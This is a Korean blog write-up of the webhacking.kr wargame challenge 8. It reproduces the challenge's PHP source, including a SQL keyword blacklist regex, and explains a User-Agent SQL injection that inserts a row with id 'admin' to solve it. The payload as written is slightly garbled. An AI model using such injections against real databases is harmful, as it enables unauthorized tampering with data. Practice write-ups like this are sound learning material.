DoR@Hee의 끄적끄적
webhacking.kr 8번 본문
문제 첫화면 USER-AGENT를 출력하면서 카운터를 하고있다.
재접속 시 0/70이 1로 늘어나는걸 확인 할 수있다.
개발자도구로 확인 한 결과 index.phps를 볼 수 있다 .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | <html> <head> <title>Challenge 8</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } </style> </head> <body> <br><br> <center>USER-AGENT <? $agent=getenv("HTTP_USER_AGENT"); //접속자의 클라이언트 정보를 $agent에 담는다. $ip=$_SERVER[REMOTE_ADDR]; // ip(공인)를 $ip에 담는다 $agent=trim($agent); //trim문자열 앞 뒤 공백을 없애는 함수이다. $agent=str_replace(".","_",$agent); $agent=str_replace("/","_",$agent); // $agent 들어있는 _ 는 . / _로 변환한다. //$agent = Mozilla_5_0 (Windows NT 6_1; Win64; x64) AppleWebKit_537_36 (KHTML, like Gecko) Chrome_72_0_3626_109 Safari_537_36 $pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/"; $agent=strtolower($agent); //strolower 함수는 대문자를 소문자로 변환하는 함수이다. // mozilla_5_0 (windows nt 6_1; win64; x64) applewebkit_537_36 (khtml, like gecko) chrome_72_0_3626_109 safari_537_36 if(preg_match($pat,$agent)) exit("Access Denied!"); $_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]); $_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]); // $_SERVER[HTTP_USER_AGENT] = Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 $count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0")); if($count_ck[0]>=70) { @mysql_query("delete from lv0"); } $q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'"); // select문으로 agent조건에 클라이언트 정보를 넣고 그에 따른 값을 찾고있다. $ck=@mysql_fetch_array($q); if($ck) { echo("hi <b>$ck[0]</b><p>"); if($ck[0]=="admin") //만약 쿼리에 결과값이 admin일 경우 문제 해결 { @solve(); @mysql_query("delete from lv0"); } } if(!$ck) //만약 $q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");에 따란 결과값이 없을 경우 insert문을 통해 $agent, $ip guest값을 넣고있다. { $q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error"); echo("<br><br>done! ($count_ck[0]/70)"); } 즉 웹서버로 전송되는 HTTP_USER_AGENT값을 변조하자 ?> <!-- index.phps --> </body> </html> | cs |
insert into lv0(agent,ip,id) values(admin;,1,'admin'),('2,'$ip','guest') 해당 쿼리입력시 이런식으로 값이 들어가며
후 select 문을 이용해서
select id from lv0 where agent='admin';
쿼리 값이 들어간 후 select문을 하기 때문에
성공
'WarGame > WebHacking.kr' 카테고리의 다른 글
webhacking.kr 39번 (0) | 2019.02.24 |
---|---|
webhacking.kr 38번 (0) | 2019.02.24 |
webhacking.kr 37번 (0) | 2019.02.22 |
webhacking.kr 36번 (0) | 2019.02.22 |
webhacking.kr 35번 (0) | 2019.02.22 |
Comments